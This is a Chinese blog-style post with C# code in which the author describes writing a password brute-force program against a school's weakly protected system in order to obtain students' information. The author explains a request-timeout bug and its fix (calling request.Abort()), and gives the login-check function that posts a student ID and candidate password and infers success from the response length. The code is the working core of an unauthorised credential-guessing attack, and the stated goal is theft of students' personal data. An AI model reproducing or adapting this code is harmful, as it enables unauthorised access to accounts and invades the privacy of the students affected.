背景:某学校的某系统很脆弱,想要写了一个暴力破解密码的程序,从而得到学生的一些信息。
过程中遇到的问题:
在一个循环中尝试逐个验证可能的密码,但是在第三次的时候出现了“操作超时的错误”,调试发现是向请求流【HttpWebRequest.GetRequestStream()】写入数据的时候出错。当时很郁闷,我还没有post数据,怎么出错了?难道是密码多次错误,不能再尝试了。但是重启程序的时候还是在第三次向请求流写入数据的时候出错,所以上网求助。
发现某位仁兄的博客指出了这一点:request需要及时关闭。request.Abort();
我的代码(仅显示判断函数):
private bool CanLogIn(string secret, string xuehao,string rand)
{try
{
string uri = "post数据的地址";
string referer = "当前地址";//防止请求头对地址的验证,一般不需要用到
string postdata = "usertype=xs&username=" + xuehao + "&password=" + secret + "&rand=rand";//rand是验证码
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(uri);
HttpWebResponse response = null;request.Method = "POST";
request.ContentType = "application/x-www-form-urlencoded";request.Timeout = 1000 * 3;
request.ContentLength = postdata.Length;request.UserAgent = "Mozilla/4.0 (compatible; MSIE 9.0;) Windows NT 6.0";
//request.ServicePoint.Expect100Continue = false;
//request.CachePolicy = new System.Net.Cache.RequestCachePolicy(System.Net.Cache.RequestCacheLevel.Reload);//ServicePoint 和 Cache在我的程序中不需要用到,但是据说有的地方需要采用,相关链接:http://www.cnblogs.com/wenanry/archive/2009/10/21/1587221.html
using (Stream stream = request.GetRequestStream())
{
using (StreamWriter write = new StreamWriter(stream))
{
write.Write(postdata);
write.Close();
response = (HttpWebResponse)request.GetResponse();
long length = response.ContentLength;Console.WriteLine("try " + secret + " ...");
if (request != null)
{
request.Abort();//最关键的一点:虽然request是在函数里面,每次调用该函数的时候request在内存中是不一样的,但是还是需要及时销毁request.
}if (length < 2000 && length > 1000)
{
return true;//特殊情况,只需要判断放回数据的长度即可验证登陆与否,具体情况具体分析啦!
}
else
{
return false;
}
}
}
}
catch (WebException ex)
{return false;
}
catch (Exception ex)
{
return false;
}}